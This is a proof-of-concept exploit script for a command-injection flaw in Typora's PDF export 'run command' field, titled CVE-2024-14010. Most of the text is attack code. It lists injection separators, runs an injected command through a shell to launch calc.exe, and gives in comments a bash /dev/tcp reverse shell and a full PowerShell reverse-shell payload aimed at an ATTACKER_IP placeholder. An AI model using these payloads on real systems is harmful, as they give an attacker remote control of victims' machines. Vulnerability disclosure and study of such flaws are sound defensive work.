CVE-2024-14010: Typora PDF导出命令注入漏洞

import os import subprocess # CVE-2024-14010 PoC - Typora Command Injection in PDF Export # This PoC demonstrates how to exploit the command injection vulnerability # Malicious command to be injected in Typora's PDF export "run command" field # Example: Execute calculator on Windows malicious_command = "calc.exe" # For demonstration purposes, this shows the exploitation process # In real attack, the following would be entered in Typora's PDF export preferences: # In the "run command" field, enter: # ; calc.exe # or # | calc.exe # or # `calc.exe` print("[*] CVE-2024-14010 - Typora Command Injection PoC") print(f"[*] Malicious command to inject: {malicious_command}") # Simulate the vulnerable command construction vulnerable_command = f"pdf_converter --output document.pdf ; {malicious_command}" print(f"[*] Constructed command: {vulnerable_command}") # Execute the command (this would be done by Typora in vulnerable version) try: result = subprocess.Popen(vulnerable_command, shell=True) print("[+] Command executed successfully!") except Exception as e: print(f"[-] Error: {e}") # Reverse shell example (for educational purposes only) # Attacker would inject something like: # ; bash -i >& /dev/tcp/ATTACKER_IP/PORT 0>&1 # or on Windows: # ; powershell -nop -c "$client = New-Object System.Net.Sockets.TCPClient('ATTACKER_IP',PORT);$stream = $client.GetStream();[byte[]]$bytes = 0..65535|%{0};while(($i = $stream.Read($bytes, 0, $bytes.Length)) -ne 0){;$data = (New-Object -TypeName System.Text.ASCIIEncoding).GetString($bytes,0, $i);$sendback = (iex $data 2>&1 | Out-String );$sendback2 = $sendback + (pwd).Path + '> ';$sendbyte = ([text.encoding]::ASCII).GetBytes($sendback2);$stream.Write($sendbyte,0,$sendbyte.Length);$stream.Flush()};$client.Close()"